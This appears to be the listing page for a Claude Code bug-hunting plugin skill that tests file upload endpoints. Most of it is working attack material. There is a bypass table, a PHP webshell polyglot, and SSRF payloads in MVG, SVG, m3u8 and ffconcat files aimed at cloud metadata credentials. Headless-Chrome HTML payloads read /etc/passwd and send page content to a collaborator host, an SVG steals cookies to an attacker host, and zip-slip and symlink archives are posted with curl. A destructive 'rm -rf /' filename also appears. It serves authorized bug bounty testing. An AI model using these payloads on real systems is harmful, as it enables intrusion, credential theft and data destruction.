From claude-bughunter
Tests file upload endpoints for RCE, XSS, SSRF, and path traversal. Covers 10 bypass techniques including extension tricks, magic bytes, XXE in DOCX, and ZIP slip.
How this skill is triggered — by the user, by Claude, or both
Slash command
/claude-bughunter:hunt-file-uploadThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
```
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
| Attack | How | Prevention |
|---|---|---|
| Extension bypass | shell.php.jpg, shell.pHp, shell.php5 | Allowlist + extract final extension |
| Null byte | shell.php%00.jpg | Sanitize null bytes |
| Double extension | shell.jpg.php | Only allow single extension |
| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |
| Magic bytes prefix | Prepend GIF89a; to PHP code | Parse whole file, not just header |
| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |
| SVG JavaScript | <svg onload="..."> | Sanitize SVG or disallow entirely |
| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |
| ZIP slip | ../../../etc/passwd in archive | Validate extracted paths |
| Filename injection | ; rm -rf / in filename | Sanitize + use UUID names |
| Type | Hex |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.npx claudepluginhub elementalsouls/claude-bughunterStep-by-step file upload penetration testing checklist covering MIME/extension bypass, magic bytes, path traversal, SVG XSS, server-side attacks, and race conditions. For authorized security assessments and bug bounty.
Guides testing for server-side vulnerabilities including SSRF, HTTP request smuggling, path traversal, file upload, insecure deserialization, and host header injection.
Hunts XXE vulnerabilities across XML endpoints using bug bounty techniques: SVG/DOCX file upload, SOAP, SAML, OOB DTD, SSRF, LFI, and RCE chains.